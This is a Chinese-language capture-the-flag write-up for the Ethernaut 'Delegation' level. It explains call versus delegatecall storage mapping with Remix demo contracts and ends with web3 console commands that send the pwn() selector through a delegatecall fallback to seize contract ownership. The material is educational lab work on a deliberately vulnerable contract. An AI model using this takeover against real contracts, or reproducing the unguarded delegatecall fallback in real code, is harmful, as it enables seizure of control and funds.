// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Delegate {
address public owner;
constructor(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
玩家必須取得 Owner 權限,即可通過
這一關需要先瞭解的是 Solidity 裡面的兩種 call 和 delegatecall,這兩種 call 被用來實現合約之間互相呼叫函數,或轉帳使用,(註 : callcode 已遭到棄用,應該避免使用),而這兩種 call 的差別是執行過後的 storage 存儲狀況,舉個例子,當 A 合約使用 call 呼叫 B 合約的某 function 後,B 合約執行的將會儲存於 B 合約內部,反之,delegatecall 則只會取得合約地址,而其他資料都使用合約 A 的,並且將存儲通通轉至 A 合約,且會按照 slot(在後面的章節會提及) 排序的逐一映射,聽不懂嗎? 沒關係,讓我們看看下面的例子,相信你會更了解的
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract A {
address public temp1;
uint256 public temp2;
function call_(address addr) public {
addr.call(abi.encodeWithSignature("test()"));
}
function call_delegate(address addr) public {
addr.delegatecall(abi.encodeWithSignature("test()"));
}
}
contract B {
address public temp1 = 0xEc29164D68c4992cEdd1D386118A47143fdcF142;
uint256 public temp2;
function test() public {
temp1 = msg.sender;
temp2 = 100;
}
}
我們來看看當合約使用 call 去呼叫另一個合約時會產生的改變,請先將程式碼複製貼上至 remix,並且完成部署(使用 remix 的測試環境即可,無須部署上測試鏈) A B 兩合約,接著請將 B 合約的地址複製至 A 合約的 call_ function 並執行,將結果紀錄於下圖。
可以看到 call_ 確實將 B 合約的存儲改變了,並存儲於 B 合約之中。
接著我們再重新部署一次合約,這次執行 call_delegate,同樣請將 B 合約的地址作為參數傳入 A 合約中,接著將結果紀錄於下圖。
可以看到,delegatecall 執行了 test function 後並沒有將數據存儲於合約 B 而是進入了合約 A,且 msg.sender 是採用合約 A 的交易呼叫者,那麼相信你對 delegatecall 的運作方式已經有初步的了解,接著再來看下圖展示的 delegatecall 映射資料的運作。
可以將變數型別/名稱通通更改,或許會對你的理解有更大的幫助
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract A {
uint256 public _uint;
address public _addr;
function call_(address addr) public {
addr.call(abi.encodeWithSignature("test()"));
}
function call_delegate(address addr) public {
addr.delegatecall(abi.encodeWithSignature("test()"));
}
}
contract B {
address public temp1 = 0xEc29164D68c4992cEdd1D386118A47143fdcF142;
uint256 public temp2;
function test() public {
temp1 = msg.sender;
temp2 = 100;
}
}
(執行過後,註 : 100(dec) = 64(hex))
如果你已經完全搞懂了 delegatecall 的運作邏輯了,就讓我們來試著做做看這題吧,來吧,直接對關鍵的部分下手。
function pwn() public {
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
從上述兩程式碼可知,若我們在 Delegation 合約執行 pwn function,
將會把 Delegate 的合約存儲複製近 Delagation,而 msg.sender 會採用呼叫者的資料,也就是我們(player),所以只要能在 web console 執行交易即可,接著進入實作環節。
sig = await web3.eth.abi.encodeFunctionSignature("pwn()")
await contract.sendTransaction({from:player, data:sig})
await contract.owner() == player // true
✌(◕‿-)✌ ✌(◕‿-)✌ ✌(◕‿-)✌ ✌(◕‿-)✌
https://cypherpunks-core.github.io/ethereumbook_zh/08.html
https://blog.csdn.net/sanqima/article/details/114305130
https://blog.csdn.net/qq_35044509/article/details/80226256
https://web3js.readthedocs.io/en/v1.2.11/web3-eth-abi.html